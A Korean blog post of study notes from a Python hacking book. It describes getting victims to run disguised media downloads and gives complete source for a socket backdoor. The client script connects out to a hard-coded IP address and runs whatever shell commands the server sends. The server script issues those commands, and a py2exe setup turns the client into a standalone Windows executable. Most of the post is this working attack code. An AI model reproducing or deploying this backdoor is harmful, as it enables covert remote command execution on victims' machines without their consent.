2016. 3. 31. 15:12 :: 시스템 보안

안녕하세요~ Message 입니다.

 

시스템해킹의 첫번째 단계는 해킹 프로그램을 시스템 내부에 설치하는것으로 시작합니다.

일반적인 경로를 통해 프로그램을 설치하기는 쉽지 않으므로

웹이나 토렌트를 통해서 파일 다운로드를 유도합니다.

동영상 파일이나 음악 파일을 내려받아 실행하면 사용자가 모르는 사이에 프로그램이 설치됩니다.

(전 포스팅에서 이미지 파일 해킹 관련된 부분이 있습니다)

 

감염된 사용자 PC가 방화벽 내부에 있는 주요 시스템을 운영하는 관리자 PC일 때는

3/20 사태와 같은 심각한 상황을 초래할 수 있습니다.

아래 소스는 클라이언트/서버간의 소켓 통신을 이용한 백도어입니다.

 

1) 서버 : backdoorServer.py

① 호스트지정 >  ② 포트지정 >  ③ 소켓옵션설정 >  ④ 연결큐 크기지정  >  ⑤ 명령어입력 >  ⑥ 명령어전송 >  ⑦ 결과수신

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# -*- coding: utf-8 -*-
 
from socket import *
 
HOST = '' # 호스틎지정 : 소켓 연결을할 주소를 지정한다. 주소가 공백으로 지정되면 모든 호스트에서 연결 가능
PORT = 11443 # 포트지정 : 클라이언트와의 접속에 사용되는 포트 지정. 여기서는 시스템에서 예약되지 않은 11443 포트 사용
 
serverSock = socket(AF_INET, SOCK_STREAM)
serverSock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1# 소켓 옵션 설정 : 소켓과 관련된 가장 일반적인 옵션인 SOL_SOCKET 사용
serverSock.bind((HOST, PORT))
serverSock.listen(10# 연결 큐 크기 지정 : 서버와의 연결을 위해서 큐에 대기할 수 있는 요청의 수를 지정
 
conn, addr = serverSock.accept()
print 'Connected By ', addr
data = conn.recv(1024)
while 1:
    command = raw_input("Enter shell command or quit: "#명령어 입력
    conn.send(command) # 명령어전송
    if command == "quit" : break
    data = conn.recv(1024# 명령어수신
    print data
conn.close
 
cs

 

2) 클라이언트 : backdoorClient.py

① 서버IP와 포트지정>  ② 명령어수신 >  ③ 명령어실행 >  ④ 파이프를 통한 결과값 출력 >  ⑤ 결과값전송

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# -*- coding: utf-8 -*-
 
import socket
import subprocess
 
HOST = '125.31.148.160' # 서버 IP와 포트 지정 : 백도어 서버가 가진 IP를 지정하고 연결에 사용할 포트를 지정
PORT = 11443
clientSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
clientSock.connect((HOST, PORT))
clientSock.send('[*] Connection Established!')
 
while 1:
    data = clientSock.recv(1024# 명령어수신
    if data == "quit": break
    proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, 
            stderr=subprocess.PIPE, stdin=subprocess.PIPE) # 명령어실행 : 입력,출력,오류 메시지를 담당하는 파이프를 생성해서 프로세스 간에 원활한 통신 지원
    stdout_value = proc.stdout.read() + proc.stderr.read() # 결과출력 :  파이프를 통해서 실행 결과와 오류 메시지를 출력
    clientSock.send(stdout_value) # 결과전송 : 소켓을 통해서 서버로 실행 결과를 전송
clientSock.close()
 
cs

 

3) Python 윈도우 실행파일 변환

파이썬으로 프로그래밍한 소스파일을 윈도우 실행 파일로 변환하려면 관련 모듈을 설치해야합니다.

www.py2exe.org 사이트의 py2exe-0.6.9.win32-py2.7.exe 프로그램을 받아 설치합니다.

이후 아래와 같은 setup.py를 작성합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from distutils.core import setup
import py2exe
 
options = {
    "bundle_files"  : 1,
    "compressed"    : 1,
    "optimize"      : 2,
}
 
setup (
    console = ["backdoorClient.py"],
    options = {"py2exe" : options},
    zipfile = None
)
cs

저의 경우 import py2exe에 빨간줄이 쳐졌지만, 정상동작 했습니다.

setup.py 파일과 backdoorClient.py 파일을 같은 디렉토리에 넣고 CMD에서 아래 명령어를 실행합니다.

C:\> python -u setup.py py2exe

실행하면 build 폴더와 dist 폴더가 생성됩니다.

dist폴더의 backdoorClient.exe를 클라이언트에서 실행시키면 됩니다.

 

4) 실행결과

책에 나와있다싶이, 실제 백도어는 고난도의 기술이 필요합니다.

아래와 같이 dir 명령어는 동작했지만, 다른 명령어는 오류가 많이 발생했습니다.

(에러처리만 해도 양이 어마어마할 것 같습니다.)

하지만 동작 원리를 이해할 수 있는 챕터였습니다.

 

참고 : 파이썬 해킹 입문 / 조성문, 정영훈 지음

 

posted by Red_Message